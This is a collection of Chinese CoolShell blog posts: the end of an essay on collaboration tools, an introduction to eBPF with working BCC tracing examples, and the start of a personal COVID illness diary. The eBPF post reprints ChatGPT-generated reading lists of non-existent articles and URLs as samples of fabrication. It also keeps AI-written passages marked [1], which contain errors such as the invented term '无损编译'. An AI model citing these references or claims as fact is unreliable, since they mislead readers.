里开会，会前，组织方会把要讨论的方案打印出来给大家看，这个方案是深思过的，是验证过的，是有数据和证据或是引用支撑的，会议开始后，10 -15分钟是没有人说话的，大家都在看文档，然后就开始直接讨论或发表意见，支持还是不支持，还是有条件支持……会议效率就会很高。\n\n\n但是这个议案其实是可以由大家一起来完成的，所以，连打印或是开会都不需要。试想一下，使用像 Google Doc 这样的协同文档工具，把大家拉到同一个文档里直接创作，不香吗？我在前段时间，在公网上组织大家来帮我完成一个《[非常时期的囤货手册](https://docs.google.com/document/d/1-c93ax4Uog_CHTOLBKpKLNCUtZYwacGbXm8OP3Fh810)》，这篇文章的形成有数百个网友的加持，而我就是在做一个主编的工作，这种工作是 IM 工具无法完成的事。与之类似的协同工具还有大家一起写代码的 Github，大家一起做设计的 Figma……这样创作类的协同工具非常多。另外，好多这些工具都能实时展示别人的创作过程，这个简直是太爽了，你可以通过观看他人创作过程，学习到很多他人的思路和想法，这个在没有协同工具的时代是很难想像的。\n\n\n好的协同工具是可以互相促进互相激励的，就像一个足球队一样，当你看到你的队友在勇敢地争抢，拼命地奔跑，你也会被感染到的。\n\n\n所以，**好的协同就是能够跟一帮志同道合，有共同目标，有想法，有能力的人一起做个什么事**。**所以，在我心中我最喜欢的协同工具从来都是创作类的，不是管理类的，更不是聊天类的。**管理和聊天的协同软件会让你产生一种有产出的假象，但其实不同，这种工具无论做的有多好，都是支持性的工具，不是产出类的工具，不会提升生产力的。\n\n\n另外，在创作类的协同工具上如果有一些智能小帮手，如：Github 发布的 Copilot。那简直是让人爽翻天了，所以，真正能提升生产力的工具都是在内容上帮得到你的。\n\n\n#### 结束语\n\n\n我其实并不喜欢今天所有的 IM 工具，因为我觉得信息不是结构化的，信息是有因果关系和上下文的，是结构化的，是多维度的，不是今天这种线性的方式，我们想像一下“脑图”或是知识图，或是 wikipedia 的网关的关联，我们可能就能想像得到一个更好的 IM 应该是什么 样的……\n\n\n协同工作的想像空间实在是太大了，我觉得所有的桌面端的软件都会被协作版的重写，虽然，这种协作软件需要有网络的加持，但是协作软件的魅力和诱惑力实在的太大了，让人无法不从……\n\n\n未来的企业，那些管理类的工具一定会被边缘化的，聊天类的会被打成一个通知中心，而创作类的会大放异彩，让大家直接在要干的事上进行沟通、交互和分享。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\n* [![别让自己“墙”了自己](../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg)](https://coolshell.cn/articles/20276.html)[别让自己“墙”了自己](https://coolshell.cn/articles/20276.html)\nThe post [聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2022-12-10 eBPF 介绍.md",
    "content": "---\nlayout: post\ntitle: eBPF 介绍\ndate: 2022/12/10/ 2:38:51\nupdated: 2022/12/10/ 2:38:51\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2022/12/eBPF.jpeg)很早前就想写一篇关于eBPF的文章，但是迟迟没有动手，这两天有点时间，所以就来写一篇，这文章主要还是简单的介绍eBPF 是用来干什么的，并通过几个示例来介绍是怎么玩的，这个技术非常非常之强，Linux 操作系统的观测性实在是太强大了，并在 BCC 加持下变得一览无余。这个技术不是一般的运维人员或是系统管理员可以驾驭的，这个还是要有底层系统知识并有一定开发能力的技术人员才能驾驭的了的。**我在这篇文章的最后给了个彩蛋。**\n\n\n#### 介绍\n\n\neBPF（extened Berkeley Packet Filter）是一种内核技术，它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter（BPF），后者是由贝尔实验室开发的一种网络过滤器，可以捕获和过滤网络数据包。\n\n\n出于对更好的 Linux 跟踪工具的需求，eBPF 从 [dtrace](https://illumos.org/books/dtrace/chp-intro.html)中汲取灵感，dtrace 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同，Linux 无法全面了解正在运行的系统，因为它仅限于系统调用、库调用和函数的特定框架。[在Berkeley Packet Filter](https://www.kernel.org/doc/html/latest/bpf/index.html)  (BPF)（一种使用内核 VM 编写打包过滤代码的工具）的基础上，一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。**2014 年随 Linux 3.18 首次限量发布，充分利用 eBPF 至少需要 Linux 4.4 以上版本**。\n\n\n\neBPF 比起传统的 BPF 来说，传统的 BPF 只能用于网络过滤，而 eBPF 则可以用于更多的应用场景，包括网络监控、安全过滤和性能分析等。另外，eBPF 允许常规用户空间应用程序将要在 Linux 内核中执行的逻辑打包为字节码，当某些事件（称为挂钩）发生时，内核会调用 eBPF 程序。此类挂钩的示例包括系统调用、网络事件等。用于编写和调试 eBPF 程序的最流行的工具链称为 [BPF 编译器集合](https://github.com/iovisor/bcc) (BCC)，它基于 LLVM 和 CLang。\n\n\neBPF 有一些类似的工具。例如，SystemTap 是一种开源工具，可以帮助用户收集 Linux 内核的运行时数据。它通过动态加载内核模块来实现这一功能，类似于 eBPF。另外，DTrace 是一种动态跟踪和分析工具，可以用于收集系统的运行时数据，类似于 eBPF 和 SystemTap。`[1]`\n\n\n以下是一个简单的比较表格，可以帮助您更好地了解 eBPF、SystemTap 和 DTrace 这三种工具的不同之处：`[1]`\n\n\n\n\n| 工具 | eBPF | SystemTap | DTrace |\n| --- | --- | --- | --- |\n| 定位 | 内核技术，可用于多种应用场景 | 内核模块 | 动态跟踪和分析工具 |\n| 工作原理 | 动态加载和执行无损编译过的代码 | 动态加载内核模块 | 动态插接分析器，通过 probe 获取数据并进行分析 |\n| 常见用途 | 网络监控、安全过滤、性能分析等 | 系统性能分析、故障诊断等 | 系统性能分析、故障诊断等 |\n| 优点 | 灵活、安全、可用于多种应用场景 | 功能强大、可视化界面 | 功能强大、高性能、支持多种编程语言 |\n| 缺点 | 学习曲线高，安全性依赖于编译器的正确性 | 学习曲线高，安全性依赖于内核模块的正确性 | 配置复杂，对系统性能影响较大 |\n\n\n对比表格`[1]`\n\n\n从上表可以看出，eBPF、SystemTap 和 DTrace 都是非常强大的工具，可以用于收集和分析系统的运行情况。`[1]`\n\n\n#### 用途\n\n\neBPF 是一种非常灵活和强大的内核技术，可以用于多种应用场景。下面是 eBPF 的一些常见用途：`[1]`\n\n\n* 网络监控：eBPF 可以用于捕获网络数据包，并执行特定的逻辑来分析网络流量。例如，可以使用 eBPF 程序来监控网络流量，并在发现异常流量时进行警报。`[1]`\n* 安全过滤：eBPF 可以用于对网络数据包进行安全过滤。例如，可以使用 eBPF 程序来阻止恶意流量的传播，或者在发现恶意流量时对其进行拦截。`[1]`\n* 性能分析：eBPF 可以用于对内核的性能进行分析。例如，可以使用 eBPF 程序来收集内核的性能指标，并通过特定的接口将其可视化。这样，可以更好地了解内核的性能瓶颈，并进行优化。`[1]`\n* 虚拟化：eBPF 可以用于虚拟化技术。例如，可以使用 eBPF 程序来收集虚拟机的性能指标，并进行负载均衡。这样，可以更好地利用虚拟化环境的资源，提高系统的性能和稳定性。`[1]`\n\n\n总之，eBPF 的常见用途非常广泛，可以用于网络监控、安全过滤、性能分析和虚拟化等多种应用场景。`[1]`\n\n\n#### 工作原理\n\n\neBPF 的工作原理主要分为三个步骤：加载、编译和执行。\n\n\neBPF 需要在内核中运行。这通常是由用户态的应用程序完成的，它会通过系统调用来加载 eBPF 程序。在加载过程中，内核会将 eBPF 程序的代码复制到内核空间。\n\n\neBPF 程序需要经过编译和执行。这通常是由Clang/LLVM的编译器完成，然后形成字节码后，将用户态的字节码装载进内核，Verifier会对要注入内核的程序进行一些内核安全机制的检查,这是为了确保 eBPF 程序不会破坏内核的稳定性和安全性。在检查过程中，内核会对 eBPF 程序的代码进行分析，以确保它不会进行恶意操作，如系统调用、内存访问等。如果 eBPF 程序通过了内核安全机制的检查，它就可以在内核中正常运行了，其会通过通过一个JIT编译步骤将程序的通用字节码转换为机器特定指令集，以优化程序的执行速度。\n\n\n下图是其架构图。\n\n\nhttps://imgopt.infoq.com/fit-in/1200x2400/filters:quality(80/filters:no_upscale()/articles/gentle-linux-ebpf-introduction/en/resources/47image005-1619704397592.jpg)\n\n\n（图片来自：<https://www.infoq.com/articles/gentle-linux-ebpf-introduction/>）\n\n\n在内核中运行时，eBPF 程序通常会挂载到一个内核钩子（hook）上，以便在特定的事件发生时被执行。例如，\n\n\n* 系统调用——当用户空间函数将执行转移到内核时插入\n* 函数进入和退出——拦截对预先存在的函数的调用\n* 网络事件 – 在收到数据包时执行\n* Kprobes 和 uprobes – 附加到内核或用户函数的探测器\n\n\n最后 eBPF Maps，允许eBPF程序在调用之间保持状态，以便进行相关的数据统计，并与用户空间的应用程序共享数据。一个eBPF映射基本上是一个键值存储，其中的值通常被视为任意数据的二进制块。它们是通过带有BPF\\_MAP\\_CREATE参数的`bpf_cmd`系统调用来创建的，和Linux世界中的其他东西一样，它们是通过文件描述符来寻址。与地图的交互是通过查找/更新/删除系统调用进行的\n\n\n总之，eBPF 的工作原理是通过动态加载、执行和检查**无损编译**过的代码来实现的。`[1]`\n\n\n#### 示例\n\n\neBPF 可以用于对内核的性能进行分析。下面是一个基于 eBPF 的性能分析的 step-by-step 示例：\n\n\n第一步：准备工作：首先，需要确保内核已经支持 eBPF 功能。这通常需要在内核配置文件中启用 eBPF 相关的选项，并重新编译内核。检查是否支持 eBPF，你可以用这两个命令查看 `ls /sys/fs/bpf` 和 `lsmod | grep bpf`\n\n\n第二步：写 eBPF 程序：接下来，需要编写 eBPF 程序，用于收集内核的性能指标。eBPF 程序的语言可以选择 C 或者 Python，它需要通过特定的接口访问内核的数据结构，并将收集到的数据保存到指定的位置。\n\n\n下面是一个Python 示例（其实还是C语言，用python来加载一段C程序到Linux内核）\n\n\n\n```\n#!/usr/bin/python3\n\nfrom bcc import BPF\nfrom time import sleep\n\n# 定义 eBPF 程序\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h>\n\nBPF_HASH(stats, u32);\n\nint count(struct pt_regs *ctx) {\n    u32 key = 0;\n    u64 *val, zero=0;\n    val = stats.lookup_or_init(&key, &zero);\n    (*val)++;\n    return 0;\n}\n\"\"\"\n\n# 编译 eBPF 程序\nb = BPF(text=bpf_text, cflags=[\"-Wno-macro-redefined\"])\n\n# 加载 eBPF 程序\nb.attach_kprobe(event=\"tcp_sendmsg\", fn_name=\"count\")\n\nname = {\n  0: \"tcp_sendmsg\"\n}\n# 输出统计结果\nwhile True:\n    try:\n        #print(\"Total packets: %d\" % b[\"stats\"][0].value)\n        for k, v in b[\"stats\"].items():\n           print(\"{}: {}\".format(name[k.value], v.value))\n        sleep(1)\n    except KeyboardInterrupt:\n        exit()\n```\n\n这个 eBPF 程序的功能是统计网络中传输的数据包数量。它通过定义一个 `BPF_HASH` 数据结构来保存统计结果（eBPF Maps），并通过捕获 `tcp_sendmsg` 事件来实现实时统计。最后，它通过每秒输出一次统计结果来展示数据。这个 eBPF 程序只是一个简单的示例，实际应用中可能需要进行更复杂的统计和分析。\n\n\n第三步：运行 eBPF 程序：接下来，需要使用 eBPF 编译器将 eBPF 程序编译成内核可执行的格式（这个在上面的Python程序里你可以看到——Python引入了一个bcc的包，然后用这个包，把那段 C语言的程序编译成字节码加载在内核中并把某个函数 attach 到某个事件上）。这个过程可以使用 BPF Compiler Collection（BCC）工具来完成。BCC 工具可以通过命令行的方式将 eBPF 程序编译成内核可执行的格式，并将其加载到内核中。\n\n\n下面是运行上面的 Python3 程序的步骤：\n\n\n\n```\nsudo apt install python3-bpfcc\n```\n\n注：在Python3下请不要使用 `pip3 install bcc` （参看：[这里](https://github.com/iovisor/bcc/issues/2278#issuecomment-825356087)）\n\n\n如果你是 Ubuntu 20.10 以上的版本，最好通过源码安装（否则程序会有编译问题），参看：[这里](https://github.com/iovisor/bcc/issues/3993#issuecomment-1228217609)：\n\n\n\n```\napt purge bpfcc-tools libbpfcc python3-bpfcc\nwget https://github.com/iovisor/bcc/releases/download/v0.25.0/bcc-src-with-submodule.tar.gz\ntar xf bcc-src-with-submodule.tar.gz\ncd bcc/\napt install -y python-is-python3\napt install -y bison build-essential cmake flex git libedit-dev   libllvm11 llvm-11-dev libclang-11-dev zlib1g-dev libelf-dev libfl-dev python3-distutils\napt install -y checkinstall\nmkdir build\ncd build/\ncmake -DCMAKE_INSTALL_PREFIX=/usr -DPYTHON_CMD=python3 ..\nmake\ncheckinstall\n```\n\n接下来，需要将上面的 Python 程序保存到本地，例如保存到文件 netstat.py。运行程序：最后，可以通过执行以下命令来运行 Python 程序：\n\n\n\n```\n$ chmod +x ./netstat.py\n$ sudo ./netstat.py\ntcp_sendmsg: 29\ntcp_sendmsg: 216\ntcp_sendmsg: 277\ntcp_sendmsg: 379\ntcp_sendmsg: 419\ntcp_sendmsg: 468\ntcp_sendmsg: 574\ntcp_sendmsg: 645\ntcp_sendmsg: 29\n\n```\n\n程序开始运行后，会在控制台输出网络数据包的统计信息。可以通过按 Ctrl+C 组合键来结束程序的运行。\n\n\n下面我们再看一个比较复杂的示例，这个示例会计算TCP的发包时间（示例参考于Github上 [这个issue](https://github.com/iovisor/bcc/issues/2972)里的程序）：\n\n\n\n```\n#!/usr/bin/python3\n\nfrom bcc import BPF\nimport time\n\n# 定义 eBPF 程序\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h>\n#include <net/sock.h>\n#include <net/inet_sock.h>\n#include <bcc/proto.h>\n\nstruct packet_t {\n    u64 ts, size;\n    u32 pid;\n    u32 saddr, daddr;\n    u16 sport, dport;\n};\n\nBPF_HASH(packets, u64, struct packet_t);\n\nint on_send(struct pt_regs *ctx, struct sock *sk, struct msghdr *msg, size_t size)\n{\n    u64 id = bpf_get_current_pid_tgid();\n    u32 pid = id;\n\n    // 记录数据包的时间戳和信息\n    struct packet_t pkt = {}; // 结构体一定要初始化，可以使用下面的方法\n                              //__builtin_memset(&pkt, 0, sizeof(pkt)); \n    pkt.ts = bpf_ktime_get_ns();\n    pkt.size = size;\n    pkt.pid = pid;\n    pkt.saddr = sk->__sk_common.skc_rcv_saddr;\n    pkt.daddr = sk->__sk_common.skc_daddr;\n    struct inet_sock *sockp = (struct inet_sock *)sk;\n    pkt.sport = sockp->inet_sport;\n    pkt.dport = sk->__sk_common.skc_dport;\n\n    packets.update(&id, &pkt);\n    return 0;\n}\n\nint on_recv(struct pt_regs *ctx, struct sock *sk)\n{\n    u64 id = bpf_get_current_pid_tgid();\n    u32 pid = id;\n\n    // 获取数据包的时间戳和编号\n    struct packet_t *pkt = packets.lookup(&id);\n    if (!pkt) {\n        return 0;\n    }\n\n    // 计算传输时间\n    u64 delta = bpf_ktime_get_ns() - pkt->ts;\n\n    // 统计结果\n    bpf_trace_printk(\"tcp_time: %llu.%llums, size: %llu\\\\n\", \n       delta/1000, delta%1000%100, pkt->size);\n\n    // 删除统计结果\n    packets.delete(&id);\n\n    return 0;\n}\n\"\"\"\n\n# 编译 eBPF 程序\nb = BPF(text=bpf_text, cflags=[\"-Wno-macro-redefined\"])\n\n# 注册 eBPF 程序\nb.attach_kprobe(event=\"tcp_sendmsg\", fn_name=\"on_send\")\nb.attach_kprobe(event=\"tcp_v4_do_rcv\", fn_name=\"on_recv\")\n\n# 输出统计信息\nprint(\"Tracing TCP latency... Hit Ctrl-C to end.\")\nwhile True:\n    try:\n        (task, pid, cpu, flags, ts, msg) = b.trace_fields()\n        print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg))\n    except KeyboardInterrupt:\n        exit()\n```\n\n上面这个程序通过捕获每个数据包的时间戳来统计传输时间。在捕获 `tcp_sendmsg` 事件时，记录数据包的发送时间；在捕获 `tcp_v4_do_rcv` 事件时，记录数据包的接收时间；最后，通过比较两个时间戳来计算传输时间。\n\n\n从上面的两个程序我们可以看到，eBPF 的一个编程的基本方法，这样的在Python里向内核的某些事件挂载一段 “C语言” 的方式就是 eBPF 的编程方式。实话实说，这样的代码很不好写，而且有很多非常诡异的东西，一般人是很难驾驭的（上面的代码我也不是很容易都能写通的，把 Google 都用了个底儿掉，读了很多晦涩的文档……）好在这样的代码已经有人写了，我们不必再写了，在 [Github 上的 bcc 库下的 tools 目录](https://github.com/iovisor/bcc/tree/master/tools)有很多……\n\n\nBCC（[BPF Compiler Collection](https://github.com/iovisor/bcc)）是一套开源的工具集，可以在 Linux 系统中使用 BPF（Berkeley Packet Filter）程序进行系统级性能分析和监测。BCC 包含了许多实用工具，如：\n\n\n1. bcc-tools：一个包含许多常用的 BCC 工具的软件包。\n2. bpftrace：一个高级语言，用于编写和执行 BPF 程序。\n3. tcptop：一个实时监控和分析 TCP 流量的工具。\n4. execsnoop：一个用于监控进程执行情况的工具。\n5. filetop：一个实时监控和分析文件系统流量的工具。\n6. trace：一个用于跟踪和分析函数调用的工具。\n7. funccount：一个用于统计函数调用次数的工具。\n8. opensnoop：一个用于监控文件打开操作的工具。\n9. pidstat：一个用于监控进程性能的工具。\n10. profile：一个用于分析系统 CPU 使用情况的工具。\n\n\n下面这张图你可能见过多次了，你可以看看他可以干多少事，内核里发生什么事一览无余。\n\n\nhttps://github.com/iovisor/bcc/raw/master/images/bcc_tracing_tools_2019.png\n\n\n#### 延伸阅读\n\n\n一些经典的文章和书籍关于 eBPF 包括：\n\n\n* Brendan Gregg 的《[BPF Performance Tools: Linux System and Application Observability](https://book.douban.com/subject/34467459/)》一书是一个全面的指南，涵盖了 eBPF 的基础知识和实践应用。\n* eBPF 的官网：<https://ebpf.io/> 由 [Cilium](https://cilium.io/) 建立\n* [Cilium’s BPF and XDP Reference Guide](http://docs.cilium.io/en/latest/bpf/)\n* [BPF Documentation](https://www.kernel.org/doc/html/latest/bpf/index.html)\n* [BPF Design Q&A](https://www.kernel.org/doc/html/latest/bpf/bpf_design_QA.html)\n* 还有 Github 上的 [Awesome eBPF](https://github.com/zoidbergwill/awesome-ebpf)\n\n\n#### 彩蛋\n\n\n最后来到彩蛋环节。因为最近 ChatGPT 很火，于是，我想通过 ChatGPT 来帮助我书写这篇文章，一开始我让ChatGPT 帮我列提纲，并根据提纲生成文章内容，并查找相关的资料，非常之顺利，包括生成的代码，我以为我们以很快地完成这篇文章。\n\n\n但是，到了代码生成的时候，我发现，ChatGPT 生成的代码的思路和方法都是对的，但是是比较老的，而且是跑不起来的，**出现了好些低级错误，如：使用了未声明的变量，没有引用完整的C语言的头文件，没有正确地初始化变量，错误地获取数据，类型没有匹配……等等**，在程序调试上，挖了很多的坑，C语言本来就不好搞，挖的很多运行时的坑很难察觉，所以，耗费了我大量的时间来排除各种各样的问题，其中有环境上的问题，还有代码上的问题，这些问题即便是通过 Google 也不容易找到解决方案，我找到的解决方案都放在文章中了，尤其是第二个示例，让我调试了3个多小时，读了很多 bcc 上的issue和相关的晦涩的手册和文档，才让程序跑通。\n\n\n到了文章收关的阶段，我让ChatGPT 给我几个延伸阅读，也是很好的，但是没有给出链接，于是我只得人肉 Google 了一下，然后让我吃惊的是，**好多ChatGPT给出来的文章是根本不存在的，完全是它伪造的**。我连让它干了两次都是这样，这个让我惊掉大牙。这让我开始怀疑它之前生成的内容，于是，我不得我返回仔细Review我的文章，尤其是“介绍”、“用途”和“工作原理”这三个章节，基本都是ChatGPT生成的，在Review完后，我发现了ChatGPT 给我生造了一个叫 “无损编译器”的术语，这个术语简直了，于是我开始重写我的文章。我把一些段落重写了，有一些没有，保留下来的我都标记上了 `[1]`，大家读的时候要小心阅读。\n\n\n最后，**我的结论是，ChatGPT只是一个不成熟的玩具，只能回答一些没有价值的日常聊天的问题，要说能取代Google，我觉得不可能，因为Google会基于基本的事实，而ChatGPT会基于内容生成的算法，在造假方面称得上是高手，可以列为电信诈骗的范畴了，我以后不会再使用ChatGPT生成文章内容或是作我的帮手了。StackOverflow把其ban了真是不能太赞了！**\n\n\n**附件一：ChatGPT的造假载图和样本**\n\n\n\n\n|  |  |\n| --- | --- |\n| 点击看大图 | 点击看大图 |\n\n\n**ChatGPT 生成的样本一**\n\n\n* Brendan Gregg 的《BPF Performance Tools: Linux System and Application Observability》一书是一个全面的指南，涵盖了 eBPF 的基础知识和实践应用。\n* Alexei Starovoitov 在 2015 年的 LPC 大会上发表的《eBPF and XDP: fast programmable datapath in the Linux kernel》一文，是一个介绍 eBPF 和 XDP（eXpress Data Path）的综述。\n* 谷歌的《BPF: The Future of Linux Monitoring and Observability》一文介绍了 eBPF 的基本概念，并探讨了它对于 Linux 监控和可观察性的影响。\n* 微软的《A Survey of Techniques for Hardware Acceleration of BPF》一文，介绍了 eBPF 在硬件加速方面的研究现状。\n* Daniel Borkmann 的《Linux kernel networking: implementation and theory》一书涵盖了 eBPF 的实现和理论。\n* Martin KaFai Lau 在 2015 年的 SOSP 大会上发表的《eBPF: a new execution environment for the Linux kernel》一文，介绍了 eBPF 在 Linux 内核中的新执行环境。\n* 来自两名谷歌工程师的《eBPF: A New Frontier in Performance Analysis》一文，探讨了 eBPF 对性能分析的影响。\n* 《BPF Performance Tools: Linux System and Application Observability》一书中的第三章，讨论了 eBPF 的编译器和运行时系统。\n* 来自三名谷歌工程师的《eBPF: The New Solaris DTrace》一文，比较了 eBPF 和 Solaris DTrace 系统的区别。\n\n\n**ChatGPT 生成的样本二**\n\n\n1. eBPF 程序开发指南（<https://cilium.io/doc/ebpf/ebpf-guide/>）\n2. eBPF 官方文档（<https://www.kernel.org/doc/Documentation/networking/filter.txt>）\n3. Linux 内核 eBPF 介绍（<https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html>）\n4. eBPF 性能优化技巧（<https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/>）\n5. eBPF 实战经验分享（<https://blog.cloudflare.com/ebpf-in-practice/>）\n6. eBPF 在网络安全中的应用（<https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/>）\n7. eBPF 实现 Linux 系统性能监控（<https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/>）\n8. eBPF 入门教程（<https://sysdig.com/blog/ebpf-getting-started/>）\n9. eBPF 与 BPF 比较（<https://lwn.net/Articles/724647/>）\n10. eBPF 提高课程（<https://www.pluralsight.com/courses/ebpf-advanced>）\n\n\n**附件二：发明的术语：无损编译器**\n\n\n\n\n|  |  |\n| --- | --- |\n| 点击看大图 | 点击看大图 |\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1379.html)[如何调试bash脚本](https://coolshell.cn/articles/1379.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [eBPF 介绍](https://coolshell.cn/articles/22320.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2022-12-13 感染新冠的经历.md",
    "content": "---\nlayout: post\ntitle: 感染新冠的经历\ndate: 2022/12/13/ 7:39:39\nupdated: 2022/12/13/ 7:39:39\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2022/12/covid19-300x225.jpg)写一篇与技术无关的文章，供大家参考。我住北京朝阳，从上周三开始我家一家三口陆续发烧生病，自测抗原后，都是阳性。好消息是，这个奥密克戎跟一般的病毒性感冒差不多，没什么可怕的，不过，整个过程除了发病之外还有一些别的因为感染带出来的事，大家也需要知晓，以准备好，以免造成生活的不便，更好的照顾好自己和家人。\n\n\n#### 整个过程\n\n\n我先说一下整个过程（我会不断更新这个过程，直到转阴）。说明一下，**我孩子老婆都打过三针国产疫苗，孩子是科兴，老婆是北京生物，我完全没有打**。\n\n\n先是我家孩子（12 岁）。上周三（12 月 7 日），孩子早上起来就说头疼，一测体温，38 度 5，就停止上网课，老实休息了，我们并没给孩子吃什么药，到了晚上，孩子的体温到了 39.4，嗓子疼，我老婆用酒精给孩子物理降温（注：事实上最好别用酒精，因为会被皮肤吸收导致副作用），成功降到了 38.2 左右。周四（12 月 8 日），孩子的体温在 38.2 一天，我老婆给孩子吃了莲花清瘟，被我制止了，本来想上退烧药的，但是我想体温也不算高，能不吃就不吃，于是就让孩子冲了个复方感冒冲剂（其实里面含对乙酰氨基酚，后面会说）。周五（12 月 9 日），孩子不停地出汗，到下午体温正常了，然后咳嗽，鼻涕就来了，感冒症状来了，但精神不好，体虚无力。周末休息两天就基本没事了，也转阴了。\n\n\n接下来就到我了。\n\n\n\n周五那天感觉嗓子有点异样，我没怎么在意，周六（12 月 10）就开始发烧了，傍晚 18 点左右，我是手脚冰冷，还有点打冷颤，头晕，嗓子干燥，我就钻被子里了，在半睡不睡的状态下到了 20 点左右，我浑身发烫，我老婆过来给我一量体温，39.8，说要不要也抹点酒精？我想，北京这个季节，物理降温不就上阳台上站一会就好了吗？当然，我就是把窗开了个口，把室温降到 20 度左右，然后，短袖短裤呆了一会就感到清醒了一些。这个时候，我觉得再来碗热汤就好了，我喝不习惯生姜红糖水，又腥又甜，我就自己整了一小锅西红柿蛋花汤，为了让我更能出汗，并适合我的重口味，我又加了点辣椒，一小锅热汤下肚，汗出的不亦乐乎，体温降低到38.4度，我觉的不用再吃药了，当然，嗓子也疼了。但是我舒服了很多，最后还看了下摩洛哥是怎么把C罗送回家的比赛。\n\n\n周日（12 月 11）是我最难受的一天，全天体温在 38.2左右，从早上就没有精神，吃完早点后，从 10 点一直睡到下午 15 点（因为嗓子疼，所以睡的也不安宁，各种难受）， 这天我一会儿就出次汗，但是体温降不下来，始终在 38.2，然后我在犹豫是不是吃布洛芬，但是我感觉体温也不是很高，布洛芬这种药能不吃不不吃。然后，睡前喝了一袋感冒冲剂。周日这天，我婆也发烧，38.5，她全身疼痛，包括嗓子。这一天，我们在家啥也干不了，全家都在床上躲着，只有孩子还能动，所以，有些事只能让孩子去干了，我们也只点外卖了。\n\n\n周一（12 月 12 日）我早上起来，38.5，开完周会后，看很多人说泰诺有用，然后翻了一下家，居然没找到，算，还是冲两包感冒冲剂得了（后来才知道，中成药里也都是掺了对乙酰氨基酚，看来中医对自己都没什么信心），于是整个下午就在出汗了，我一整天都没有什么食欲，到了下午 17 点左右，体温正常了 36.7，但是晚上又到了 37 度，开始咳痰，轻微流鼻涕，不过感觉没什么事了。而我老婆的烧居然退了，她说她应该好了。\n\n\n[![](../wp-content/uploads/2022/12/IMG_2399-871x1024.jpg)](https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399.jpg)这就是我吃的感冒冲剂。注：为什么 还要整点咖啡因，说明书上说，怕对乙酰氨基酚造成嗜睡，所以用咖啡因来消解，这复方逻辑，毫无破绽啊\n周二（12 月 13 日）我早上起床后， 体温还是在 37.2 度，我的嗓子干燥微疼，头也不疼就是头晕，所以，今天睡了两次，一次是中午12 点半到下午 14点半，一次是 16：40 到 19:10，两次都出汗了，而且第二觉睡地太爽了，感觉是这两天睡过最高质量高的觉，而且嗓子不干了也好了，体温正常了 36.8，但是感冒症状出来了，接下来几天休息一下应该就好了。我孩子应该感冒也没有精神，所以一天来也是醒醒睡睡。而我老婆又开始发烧了，还带这样的，跳跃性发烧…… 更不好的是她嗓子已经疼到说不出话，也咽不下东西了，今天她也是床上躺了一天……\n\n\n周三（12月14日）我今天已经不发烧了，就是频率不高的咳嗽，轻微鼻塞，不过，还是要休息，喝水。我老婆体温还是低烧中，嗓子疼痛好了些，感觉正在恢复中……\n\n\n**整个过程，对我和我孩子来说，不难受，感觉就是发3天烧睡3天，再休息 3 